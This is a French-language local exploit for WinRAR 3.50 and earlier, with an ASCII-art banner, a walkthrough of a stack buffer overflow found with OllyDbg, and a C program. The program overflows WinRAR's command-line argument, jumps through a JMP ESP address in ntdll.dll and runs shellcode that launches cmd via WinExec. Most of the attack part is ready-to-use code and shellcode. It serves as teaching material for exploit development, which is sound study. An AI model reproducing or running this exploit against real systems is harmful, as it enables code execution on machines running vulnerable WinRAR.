                                                        |                       
  ,--.,    x           .           __^__              -=*=-                     
,' NG  \                      ---   "`-.                |       .     ;         
 MOON  T|      +            -   --  | }`       `                                
 /X@  BG|          x         --     / /--.                                      
\     H/                  -     ===/  \===E                w    {\_/}    w      
 `'--'`    ,        .       ---   /   /         *          /`-_.-{"}-._-'\      
                                 `---`                    / ,    '?'    , \     
   ,         _.-.,,          ,                     x     / / \./;"-";\./ \ \    
  -+-      -`  .|.,,`'-.,,_               ,              '`_-`         `',`'    
   `    ,-` ,-` |\  ``'-.,,_''--,                         /               \     
      ,'  -`  \\\\\.,       `''-/,',   ,,,,,,,,,,,,,,    |       BY        |    
  __ /- -'   \\`   X `     /`--   `','.,             ',,,|                 |, _ 
``  '| `. ', \|  X v` |  // ^--``\_, `','.,              |                 | `  
     |   `. `.`.   -` `\//  /` ``\  ;-  `',`-,           |-=[ Ivanlef0u ]=-|    
     |     `. `.='-'` \  `-/  /  .`;\|     `'.`',        |                 |    
     |       '/..````/.\,  ```\/`  .          `'.`'.,    |                 |    
     |-=[O5]=-|  ``'-,,  `''.,,``-/` _/`\        `'.,'., |                 |    
     \_       |        ``'.,,  `'-.,/  . `\_         '.,`-,                |    
      ``.     |              ``'.,,  `'-,,  ``---.      '.,`',             |    
         `,   |   -=[              `''.,, ``'.,,-/``--.,   `.,`'.,         |    
           ', |            WinRar        `'-.,_ `''.,.  `|    `-, '.-------     
             '\,_                Buf           `'-.,_ `'-.`_     `_.-`-.        
 |\-.,,          ``-.,_                              `'-.,  `'+-'`.-`` |        
`      ', ,|\.,        ``-.,_                     ]=-     ``'-|'`      |        
 V   V  ,'     `\            `'-.,_                           |        |        
   L _|\-.,7  7  |                 `'-.,      |\-/|         /;|        |        
`--,'       `../ |                      ``'-. |o o|_ --. ,-`/ |        |        
  |   G   G   | /                            `-=+=- `   ` /`  |      ,-/        
`'|  ., ` ,.  |``````''-.,                     `\, .--_  |    |  ,-'`           
   ', \`=`/ ,`            `',,                   |/   ; / ``'--'`      _,,.---- 
     `''--'`                  `-,,               ||   ||           ,.-`         
                                  ```''-------___"____"______,--''`             
=[Aka :  Unrar more possibility's.. ]=-                                       



/*                                                                                                                                 
                                                                                                                                   
Local exploit for winrar <= 3.50 fr version                                                                                        
(j'ai la ver 3.30 fr)                                                                                                              

                                                                                                                                   
Hello people.                                                                                                                      
Aujourd'hui  je me promène sur le web et la je tombe sur une news ds laquelle 
on trouve une  vuln sur winrar puis un POC (proof of concept) je me dit si on 
l'exploitais ca pourrais etre marrant ..aller c'est partit.                                                                                                 
                                                                                                                                   
La vuln se situe  au  niveau  d'un  argument trop grand passé a winrar.exe un
truc du genre  winrar.exe A*500   fait  planter  le bordel, il nous dit qu'il 
peut  pas  ouvrir  le  machin  et après on a une jolie erreur.  Alors j'ouvre 
ollydgb ,je fous 500 A et je mate ou ca plante Il s'agit tout simplement d'un 
BOF c'est a dire qu'on peut rediriger le prog ou l'on veut car  l'on controle 
le registre eip donc voila la portion de code                                                                        
                                                                                                                                   
0045D6DD  |. E8 BE0C0300    CALL <JMP.&USER32.MessageBoxA>           ; \MessageBoxA                                                
0045D6E2  |> 8D8C24 0004000>LEA ECX,DWORD PTR SS:[ESP+400]           ;  Case 2 of switch 0045D676                                  
0045D6E9  |. 51             PUSH ECX                                 ; /Arg1                                                       
0045D6EA  |. E8 BD860200    CALL WinRAR.00485DAC                     ; \WinRAR.00485DAC                                            
0045D6EF  |. 59             POP ECX                                                                                                
0045D6F0  |. 33C0           XOR EAX,EAX                                                                                            
0045D6F2  |. EB 02          JMP SHORT WinRAR.0045D6F6                                                                              
0045D6F4  |> B0 01          MOV AL,1                                 ;  Case 1 of switch 0045D676                                  
0045D6F6  |> 81C4 000E0000  ADD ESP,0E00                                                                                           
0045D6FC  |. 5D             POP EBP                                                                                                
0045D6FD  |. 5F             POP EDI                                                                                                
0045D6FE  |. 5E             POP ESI                                                                                                
0045D6FF  |. 5B             POP EBX                                                                                                
0045D700  \. C3             RETN                                                                                                   
                                                                                                                                   
en tps normal ds la stack on a:                                                                                                    
0012EEEC   61616161                                                                                                                
0012EEF0   61722E61                                                                                                                
0012EEF4   00440072  WinRAR.00440072        
                                                                                       
                                                                                                                                   
l'addresse 12eef4 contient notre adresse de retour & les 61616161 sont nos  A 
(~500  ici  pourpas  overwriter  l'addr  de  ret)  donc  il  suffit de foutre 
l'addresse que l'on veut et c'est gagner.  L'on voit que esp vaut 0012EEF4 au 
niveau du RETN donc apres il va valloir 0012EEF8 car RETN= pop eip , call eip 
(en gros a chaque qu'on pop l'on incrémente l'esp de 4)  il suffit de trouver 
dans la memoire de notre prog un JMP ESP pour aller executer les instructions                                   
a 12eef8 donc notre shellcode ;).  Alors chez moi je trouve 

78461BE3   FFE4             JMP ESP ds ntdll.dll (attention  prend   le  dump
hexa car ce n'est pas une section qui s'execute normalement)                                                                                         
                                                                                                                                   
donc vla le sploit 
                                                                                                                
Faut mettre le exe ds le dossier de winrar & changer les addr  des  fonctions                                                        
chez moi je suis sous Microsoft Windows  2000  [Version 5.00.2195]  avec  les 
dernières mise a jour.                                   
                                                                                                                                   
Un shellcode tout bete qui lance un shell sous win.                                                                                
                                                                                                                                   
0012EEF9   55               PUSH EBP                                                                                               
0012EEFA   8BEC             MOV EBP,ESP                                                                                            
0012EEFC   33FF             XOR EDI,EDI                                                                                            
0012EEFE   57               PUSH EDI                                                                                               
0012EEFF   C645 FC 63       MOV BYTE PTR SS:[EBP-4],63                                                                             
0012EF03   C645 FD 6D       MOV BYTE PTR SS:[EBP-3],6D                                                                             
0012EF07   C645 FE 64       MOV BYTE PTR SS:[EBP-2],64                                                                             
0012EF0B   57               PUSH EDI                                                                                               
0012EF0C   C645 F8 01       MOV BYTE PTR SS:[EBP-8],1                                                                              
0012EF10   8D45 FC          LEA EAX,DWORD PTR SS:[EBP-4]                                                                           
0012EF13   50               PUSH EAX                                                                                               
0012EF14   B8 DE74E977      MOV EAX,KERNEL32.WinExec                                                                               
0012EF19   FFD0             CALL EAX                                                                                               
0012EF1B   BB BE69E977      MOV EBX,KERNEL32.ExitProcess                                                                           
0012EF20   FFD3             CALL EBX                                                                                               
                                                                                                                                   
                                                                                                                                   
                                                                                                                                   
mailto: ivanlef0u119@yahoo.fr                                                                                                      
website: http://membres.lycos.fr/moi118118/                                                                                        
                                                                                                                                   
*/                                                                                                                                 
                                                                                                                                   
#include <stdio.h>                                                                                                                 
#include <string.h>                                                                                                                
#include <windows.h>                                                                                                               
                                                                                                                                   
int main ( void )                                                                                                                  
{                                                                                                                                  
                                                                                                                                   
char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\xC6\x45\xFC\x63\xC6\x45\xFD\x6D\xC6
                  \x45\xFE\x64\x57\xC6\x45\xF8\x01\x8D\x45\xFC\x50\xB8"
"\xDE\x74\xE9\x77" //add de winexex ds mon kernel32.dll (a modif)                                                                  
"\xFF\xD0"                                                                                                                         
"\xBB"                                                                                                                             
"\xBE\x69\xE9\x77" //addr de ExitProcess ds Kernel32.dll                                                                           
"\xFF\xD3";                                                                                                                        
                                                                                                                                   
        char buf[3000];                                                                                                            
        char cmd[3000];                                                                                                            
                                                                                                                                   
   memset(buf, 0x00, 3000);                                                                                                        
   memset(cmd ,0 ,3000);                                                                                                           
   memset(cmd, 0x61, 516);                                                                                                         
                                                                                                                                   
   sprintf(buf, "winrar %s",cmd);                                                                                                  
   strcat(buf,"\xe3\x1b\x46\x78"); //jmp esp in ntdll                                                                              
   strcat(buf,shellcode);                                                                                                          
   system(buf);                                                                                                                    
                                                                                                                                   
}                                                